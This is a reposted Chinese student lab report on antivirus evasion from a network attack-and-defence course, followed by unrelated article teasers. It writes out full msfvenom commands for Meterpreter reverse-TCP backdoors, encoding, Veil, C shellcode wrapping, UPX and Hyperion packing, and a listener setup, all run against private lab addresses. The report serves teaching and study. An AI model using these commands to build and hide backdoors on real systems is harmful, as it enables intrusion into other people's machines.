20232415 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 17:49:58/文章来源:https://www.cnblogs.com/shm0050/p/19169764

一、实验目的
1.利用msfvenom生成多种类型的文件及其多次编码版本
2.利用veil生成恶意代码
3.利用C语言结合shellcode生成恶意文件
4.利用upx压缩壳以及hyp加密壳技术实现免杀
5.开启杀软后回连实测
二、实验过程
接下来的免杀效果将基于virscan检测平台检测结果进行评价,网址为https://www.virscan.org。
052f2e7038a770c1253a6832be6f9440
主机IP:
172.16.240.137
虚拟机IP:
192.168.52.131
1.1构建评价基准
利用msfvenom直接生成一个后门程序,将其在virscan的检测结果作为评价基准

使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 PORT=2415 -f exe > black20232415.exe

ad4a2e17a14bbdd7193f0d8fc3e9f832

使用virscon检测,检测结果为:17/48,即在48个检测引擎中,有17个引擎认为该文件含有恶意代码。

1df7e7aa7e32a51afe19efcd593afd81

1.2使用Msfvenom编码
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_2.exe

8cc2b26757b4587cb48c28fa7d3beb9c

生成一个Windows下的恶意文件并使用名为shikata_ga_nai的编码技术进行伪装。

06b543e5cb42ee48c2a4d60a6a99af67

使用virscon检测,检测结果为:14/48,即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_3.exe
对文件进行10次编码

免杀检测结果为:
5eda2e880196ec1a1bfd6e00281ce735

即在48个检测引擎中,有12个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x>black20232415.jar
生成jar文件和编码的jar文件

c9e416baad0f7c288d2737282ed1668c

免杀检测结果为:
caf5c03dcbfa618a4b34932c357db4e2

即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x>black20232415_2.jar
对jar文件进行十次编码

58aa65f17eac5475b1493cd6b7015e03

免杀检测结果为:
8fde8e36df1a39a3a1dbe9da63e8da23

即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x> black20232415.php
生成php文件和编码的php文件

0ba03bd9a348cb19e5d71fce5572b471

免杀检测结果为:
16cbaeeaa663620a2b27e4623c99ee97

即在48个检测引擎中,有8个引擎认为该文件含有恶意代码。比基准结果少的多,效果比较明显。

使用命令:msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x> black20232415_2.php
对php文件进行10次编码

免杀检测结果为:
49f9c6e8c2ad4ba8028f6c2ae6804b5d

即在48个检测引擎中,有3个引擎认为该文件含有恶意代码。比基准结果少很多,效果显著。

php恶意代码的动态执行、动态构造变量函数名等特性让恶意行为易隐藏。

1.3 使用veil免杀工具
准备环境:
下载安装veil

在交互界面中输入use 1打开Evasion躲避模块,生成能够免杀的恶意可执行文件。

f97a786e280e72a5ebc1b0879393a5e2

输入list查看所有可用的载荷种类

15dd9cd93f069be42fcf4ba5458a8ea2

输入use 7,生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件

ad4dd74a8d98b81a27c4f0c772b901db

输入配置信息:
set LHOST 192.168.52.131
set LPORT 2415
generate
veil20232415

0fbdab29c744e9aad6a9eb061c223060

生成的可执行文件:

09ccb5fe5827dd3fcc44bda4e8a2ba32

免杀检测结果为:
c21a4b910287972756ebc00aaa2219a6

即在48个检测引擎中,有10个引擎认为该文件含有恶意代码。比基准结果少的多,有一定的免杀效果。veil通过模拟正常的编译流程,极大提高了恶意文件的免杀能力。

1.4使用C语言调用Shellcode

使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 -f c
将恶意代码嵌入到一个用C语言编写的程序中

741fc9f60537ce907dc4b880f5c6a96b

为上述生成的恶意代码增添一个main函数

b35fb2bf887e6f6cf2e719b9b4940f89

使用命令:i686-w64-mingw32-g++ black20232415.c -o black20232415.exe
将C文件编译为可执行文件

d720b40f9e0af270cf1d89b4e2819831

9f6333c7c3bbc85ac87bdad2ddcda3be

免杀检测结果为:
f64bcbe4134e693d2156c40ed9fab64f

即在48个检测引擎中,有8个引擎认为该文件含有恶意代码。比基准结果少的多,有一定的免杀效果。

1.5使用加壳工具

使用压缩壳UPX

使用命令:upx black20232415_c.exe -o black20232415_c_upx.exe
给shellcode加上一个upx压缩壳

63076f4cdb80413e4532f190a5c82b1a

免杀检测结果为:
5b3c6d166d24545cbfeb851c6bad08cc

即在48个检测引擎中,有7个引擎认为该文件含有恶意代码。比基准结果少的多,有较强的免杀效果。它通过加密和压缩,隐藏了恶意代码的某些特征

使用加密壳Hyperion

使用命令:
cp black20232415_c.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
将待加密的文件black20232415_c.exe复制到Hyperion工具所在的工作目录中,再将当前的工作目录切换到Hyperion所在的文件夹。

使用命令:wine hyperion.exe -v black20232415_c.exe black20232415_c_hyp.exe

cbf4337845d306ec77832f2452189456

免杀检测结果为:
9af18fe2e73ace20a63f617cf994fb3b

即在48个检测引擎中,有20个引擎认为该文件含有恶意代码。比基准结果还要多,免杀效果减弱了。可能是杀毒软件已经将使用Hyperion加密壳这种行为,学习为一种高风险的恶意行为模式。

4.6组合使用msfvenom工具与加壳技术

首先通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f c > 20232415_test.c生成一个经过10次多态编码的C语言格式的shellcode

cdf62818bb3751d181ea0d8f8c2d13e6

再向生成的文件中加入main函数

c9d8618358b76216b259b3669f66528b

通过命令:i686-w64-mingw32-g++ 20232415_test.c -o 20232415_test_c.exe将其编译为可执行文件

image

通过命令:upx 20232415_test_c.exe -o 20232415_test_c_upx.exe为其加upx压缩壳

image

通过命令:wine hyperion.exe -v 20232415_test_c_upx.exe 20232415_test_c_upx_hyp.exe为其加hyp加密壳

1e03efb4ff20306a0285df893659a201

免杀检测结果为:
ae981f5420683196663c0b1d81eeda29

即在48个检测引擎中,有19个引擎认为该文件含有恶意代码。比基准结果还要多,免杀效果减弱了。猜测应该是加密壳的特征被被杀毒软件所识别导致的。

4.7开启杀软回连实测

进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.131
set LPORT 2415
exploit

Windows主机作为目标主机,在其上启动后门程序black20232415_c_upx.exe。发现启动瞬间就被火绒发现并卸载了

578441aae3d07c99d814bbc1e3499301

回连失败

三、问题及解决方案
问题一:
解决方法:

四、问题回答
(1)杀软是如何检测出恶意代码的?
杀软主要通过特征码检测、行为分析、启发式扫描三种机制检测恶意代码。
(2)免杀是做什么?
免杀通过对恶意代码进行技术处理,规避或绕过杀毒软件的检测与拦截,使恶意代码能够在目标系统中正常运行并完成预期恶意行为。
(3)免杀的基本方法有哪些?
免杀的基本方法主要包括通过编码器修改特征码、用压缩壳或加密壳隐藏原始代码、利用非主流平台或编程语言重新生成代码,以及组合多种技术多层隐藏恶意属性。
五、思想感悟
本次实验我学习并实践了使用msfvenom、veil、加壳工具进行免杀的技术手段,通过这次实验,我对于免杀技术的原理和技术有了初步的了解。
尽管隐藏恶意代码的手段有很多,但现代杀毒软件仍能有效的将其识别出来,这说明杀毒软件仍是保护我们的一种重要且有效的手段。同时,在任务六中,尽管我使用了多种免杀手段,但效果仍然不如使用某些单一的免杀方式,这说明免杀程序并非越复杂越好,需要具体使用某些合适的免杀手段的组合来实现免杀的目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/947968.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年工程管理软件公司综合推荐榜:助力建筑行业数字化升级

随着建筑行业数字化进程加速、工程质量监管趋严及项目管理效率需求提升,工程管理软件已从大型建筑企业专属工具,逐步渗透至中小型建筑公司、监理单位、验房机构及各类工程项目现场。2025年,工程管理软件市场规模预计…

2025年离心式喷雾干燥机权威推荐榜单:小型喷雾干燥机/大型喷雾干燥机/离心喷雾干燥机源头厂家精选

随着制药、食品、化工等行业对粉体质量要求不断提升,离心式喷雾干燥机市场呈现专业化、智能化发展趋势。据行业数据统计,2025年中国离心喷雾干燥设备市场规模预计达42亿元,年增长率稳定在12%,其中智能化控制系统渗…

Win11 使用 Copy v86 在线网页运行 VC6 学习 C 语言的可行性

Win11 使用 Copy v86 在线网页运行 VC6 学习 C 语言的可行性 首先,程序员节快乐。有些学校或者老师仍然在要求学生必须使用 VC6 来学习 C 语言基础。但是现在的 Win11 已经逐渐开始停止支持 VC6 这个上古时期的 IDE 的…

现代c++编程体验2

##task1 #代码1 #include "2T.h"2 #include <iostream>3 #include<string>4 5 const std::string T::doc{"a simple class sample"};6 const int T::max_cnt = 999;7 8 int T::cnt =0…

人工智能中的线性代数核心知识(Linear Algebra for AI)- 微积分 - 何苦

人工智能中的线性代数核心知识(Linear Algebra for AI)- 微积分人工智能中的微积分核心知识(Calculus for AI) 微积分 1. 导数(Derivative)描述函数在某一点的瞬时变化率,是AI优化(如梯度下降)和模型参数求解…

Excel高性能异步导出完整方案!

前言 在大型电商系统中,数据导出是一个高频且重要的功能需求。 传统的同步导出方式在面对大数据量时往往会导致请求超时、内存溢出等问题,严重影响用户体验。 苏三商城项目创新性地设计并实现了一套完整的Excel异步导…

化繁为简:解密国标GB28181算法算力平台EasyGBS如何以兼容性与易用性赋能安防集成

化繁为简:解密国标GB28181算法算力平台EasyGBS如何以兼容性与易用性赋能安防集成引言:国标协议的“理想”与“现实” 国标GB28181协议作为中国安防领域的通用语言,其初衷是为了解决不同品牌、不同系统之间的互联互通…

国标GB28181算法算力平台EasyGBS视频实时监控系助力实现换热站全景可视化管理

国标GB28181算法算力平台EasyGBS视频实时监控系助力实现换热站全景可视化管理一、方案背景 在城市供热体系中,换热站作为连接热源与用户的核心枢纽,其运行稳定性直接影响供热质量。面对供热规模扩大与需求升级,传统…

CSS补充

2025.10.27 打卡 不想再拖了,快速过一遍CSS结束吧。渐变,就是颜色可以渐变,要做叫美工做。阴影,可以用来加阴影,也可以设置负的值来表示一个包围文字的边框。box-shadow可以创建卡片。一些文本的高级用法,here@f…

「LG3600-随机数生成器」题解

题解记录P3600 随机数生成器 sol 期望不太方便,转计数。那么就是要求对每个值,最后结果恰为这个值的方案数。 恰好不太好求,考虑差分,转化为至多,那么就是要对每个值求答案不超过这个值的方案数。 要求所有区间区…

【每日Arxiv热文】还在为视频编辑发愁?港科大蚂蚁集团提出Ditto框架刷新SOTA!

【01 论文概述】 论文标题:ScalingInstruction-BasedVideoEditingwithaHigh-QualitySyntheticDataset 作者团队:香港科大、蚂蚁集团、浙江大学、东北大学 发布时间:2025 年 10 月 17 日 论文链接:https://arxiv.or…

计算机毕业设计springboot音乐畅听系统 基于Spring Boot框架的智能音乐播放系统编写 Spring Boot驱动的音乐在线欣赏平台构建

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

vue2 封装组件使用 v-mode【el-radio,el-input】

vue2 封装组件使用 v-mode【el-radio,el-input】v-model 在组件上使用,只能更改一个值。 sycn [singk] 1、在组件上使用 v-model ,父组件 v-model ,子组件接收value , $emit(value,xxxx)2、sync [singk]. 父组件 …

MathType7下载包安装教程2025最新下载+安装+汉化激活(附安装包,超详细)

目录前言一、MathType7 下载二、MathType7 软件介绍三、MathType7 安装 + 汉化激活全步骤(附细节提示) 前言 本文是 2025 年最新 MathType7 安装全流程教程,从MathType7 下载、安装到汉化激活、Word 配置都讲透,还…

P11993 [JOIST 2025] 迁移计划 题解

Description JOI 王国由编号从 \(1\) 到 \(N\) 的 \(N\) 个城市组成。这些城市通过 \(N − 1\) 条单向道路连接。具体来说,对于每个 \(i = 2, 3, \ldots, N\),存在一条从城市 \(i\) 通向城市 \(P_i\) 的道路。此处保…

人工智能十大数学知识-线性代数 - 何苦

人工智能十大数学知识-线性代数人工智能中的线性代数核心知识(Linear Algebra for AI)- 线性代数 1. 向量(Vector)n维空间中的有向线段,是AI数据的“原子单元”,用于表示单个样本的特征(如“身高175cm、体重60k…

2025年土地报批技术服务品牌

文章摘要 随着国家基础设施建设加速,土地报批技术服务行业迎来快速发展期。2025年土地报批技术服务市场将更加专业化、规范化,优质服务商在技术实力、服务效率和资源整合方面优势明显。本文基于行业调研数据,为您提…

2025年土地报批技术服务品牌Top10排行榜

摘要 土地报批技术服务行业随着国家基础设施建设和国土空间规划政策的深入推进,市场需求持续增长,选择可靠的服务商成为项目成功的关键。本文基于2025年市场数据、用户口碑和行业专家评价,综合整理了土地报批技术服…

2025 圆木/方木/原木多片锯设备推荐榜:河北普悦机械源头厂家凭核心技术登顶,4家优质企业各展优势

一、推荐榜背景:多片锯成行业升级刚需 2025 年,建材加工、家具制造、木材加工等领域加速产能升级,多片锯因 “高效切割、精准分料” 的核心优势,成为降低生产能耗、提升加工效率的关键设备。本次推荐榜基于设备切割…

研发排查问题的利器:一款方法调用栈跟踪工具

导语 本文从日常值班问题排查痛点出发,分析方法复用的调用链路和上下文业务逻辑,通过思考分析,借助栈帧开发了一个方法调用栈的链式跟踪工具,便于展示一次请求的方法串行调用链,有助于快速定位代码来源和流量入口…